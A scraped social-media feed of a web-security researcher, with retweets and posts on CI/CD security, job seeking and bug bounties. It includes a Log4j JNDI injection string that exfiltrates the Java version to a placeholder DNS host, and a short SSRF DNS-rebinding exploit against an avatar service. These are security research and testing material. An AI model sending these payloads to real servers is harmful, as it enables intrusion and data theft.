Karim Rahal
@KarimPwnz
Followers
3K
Following
4K
Statuses
388
RT @Doyensec: Checkout @maxenceschmitt's presentation at @owasp's Global AppSec in Lisbon to learn how Client-Side Path Traversal can be le…
0
10
0
RT @Doyensec: We're excited to announce @KarimPwnz is the latest addition to the #Doyensec team! Welcome aboard!
0
2
0
👋 I'm graduating (Spring 2024), and I am looking for a security role in the US. My interests include web app security, CI/CD security, and open-source security. Email - karim@karimrahal.com LinkedIn - Any RT for reach would be appreciated ❤️
0
8
11
RT @TupleType: How a worm 🪱 can be used to compromise @github repositories at scale through the Actions dependency tree🌲? The blog details…
0
8
0
RT @clintgibler: 🔐 How Secrets Leak in CI/CD Pipelines This post describes a number of subtle ways secrets can leak in CI 😅 Second-order…
0
57
0
@adnanthekhan Thank you so much for the kind tweet <3 Gato looks super cool and useful; I didn't know about it. Let me know if you end up adding any of the techniques. That would be awesome!
0
0
1
RT @alngpwn: Read my writeup and exploit for a Use-After-Free Vulnerability in Artifex MuJS (CVE-2022-44789): Hop…
0
10
0
@Sonar_Research Yes, it's an SSRF through DNS rebinding. Exploit: /avatar/.attacker.com You point unstable-avatar-service.tld.attacker[.]com to which switches between 127.0.0.1 (private IP) and 93.184.216.34 (public IP). Then, you race condition to bypass line 14.
1
0
3
The "Example Usage" above allowed me to find GitHub Actions vulnerable to command injection. The scripts can also compliment the workflow suggested by @snyff:
Do you want to find new vulnerabilities? 1. Look at the patch for a recent CVE (for example: CVE-2021-43350) 2. Write a @semgrep rule for them (tune your rule using the CVE you picked) 3. Scan a lot of code repository with this rule. 4. Manually confirm the matches.
0
1
8
Looking to test the Log4j RCE? Give a try. ${jndi:ldap://${sys:java:version}.target.dns-exfil-host/}
0
3
12
RT @rub003: Instead of relying on third parties and giving your findings/data away to them, why not use a custom DNS logger. For example dn…
0
17
0
@akita_zen @rub003 Fair lol. The tool is mostly meant for bypassing blocklists or exfiltrating data through DNS. But the added privacy is also useful, you know!
1
0
3
@codingo_ @infosec_au @Bugcrowd Given that triagers have to deal with a significant number of invalid/spam reports, what steps is @Bugcrowd taking to minimize burnout amongst triagers?
0
0
2